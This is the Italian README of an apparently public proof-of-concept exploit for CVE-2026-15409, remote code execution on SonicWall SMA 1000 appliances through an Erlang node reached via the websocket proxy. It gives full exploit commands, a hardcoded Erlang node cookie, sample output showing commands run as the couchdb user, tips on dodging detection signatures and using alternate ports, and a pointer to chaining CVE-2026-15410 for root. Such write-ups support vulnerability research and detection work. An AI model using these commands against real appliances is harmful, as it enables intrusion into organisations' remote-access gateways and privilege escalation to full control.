CVE-2026-15409

Questa repository contiene una proof-of-concept per CVE-2026-15409. Stabilisce l'esecuzione remota di codice senza privilegi di root su SonicWall SMA 1000 implementando il protocollo Erlang atteso da localhost:1050 e instradandolo tramite websocket per la lettura/scrittura di file e l'esecuzione arbitraria di codice attraverso chiamate RPC.

Utilizzo

# python3 cve-2026-15409.py --ws-url 'wss://192.168.1.46/wsproxy?bmID=-3389c1b25ccd&serviceType=SSH&host=0.0.0.0&port=1050' --ws-user-agent 'SMA Connect Agent' --ws-insecure-tls --exec 'whoami && id && pwd && hostname'
Authenticated to [email protected]
Peer flags: 0xd07df7fbd
Peer creation: 1784069352
RPC os:cmd/1 => couchdb
uid=1010(couchdb) gid=1(daemon) groups=1(daemon)
/opt/couchdb
SMAAppliance.sma

Note su sfruttamento e rilevamento

• Questo exploit prende di mira il servizio WorkPlace (di solito in ascolto sulla porta 443), probabilmente abilitato quasi sempre (richiede la configurazione di un metodo di autenticazione utente come AD di base)
• Sviluppato contro ex_sra_vm_12.5.0-02002.ova con l'hotfix di giugno 2026 applicato (l'ultimo precedente alla patch)
• Esempio: python3 cve-2026-15409.py --ws-url 'wss://TARGET_IP_HERE/wsproxy?bmID=-3389c1b25ccd&serviceType=SSH&host=0.0.0.0&port=1050' --ws-user-agent 'SMA Connect Agent' --ws-insecure-tls --cookie 10ecad5b446e86864832904cd439b6b70262 --exec 'touch /var/tmp/remote_code_execution'
• Il cookie del nodo Erlang usato per lo sfruttamento dovrebbe essere coerente tra i target; è hardcoded per il processo Erlang su localhost:1050, in base ai test.
• Valori bmID arbitrari dovrebbero generalmente funzionare purché il valore inizi con "-3389". Non scrivere firme contro "serviceType=SSH", poiché ci sono alternative come TELNET che funzionano anch'esse. 0.0.0.0 può essere sostituito anche con altri formati di indirizzo.
• La porta 1050 è una tecnica di sfruttamento, non un requisito hardcoded per lo sfruttamento. EITW è stato osservato prendere di mira anche la porta 8188, anche se sembra più semplice usare la 1050. Potrebbero esserci altri servizi su porte diverse che possono essere sfruttati anch'essi. L'esecuzione di codice in the wild avverrà probabilmente in altri contesti utente che non sono couchdb, a causa della variazione delle tecniche utilizzate.
• L'attaccante può elevare i privilegi a root con l'exploit di traversal XMLRPC "remove hotfix" CVE-2026-15410 (che prende di mira localhost:8188) una volta stabilita una shell.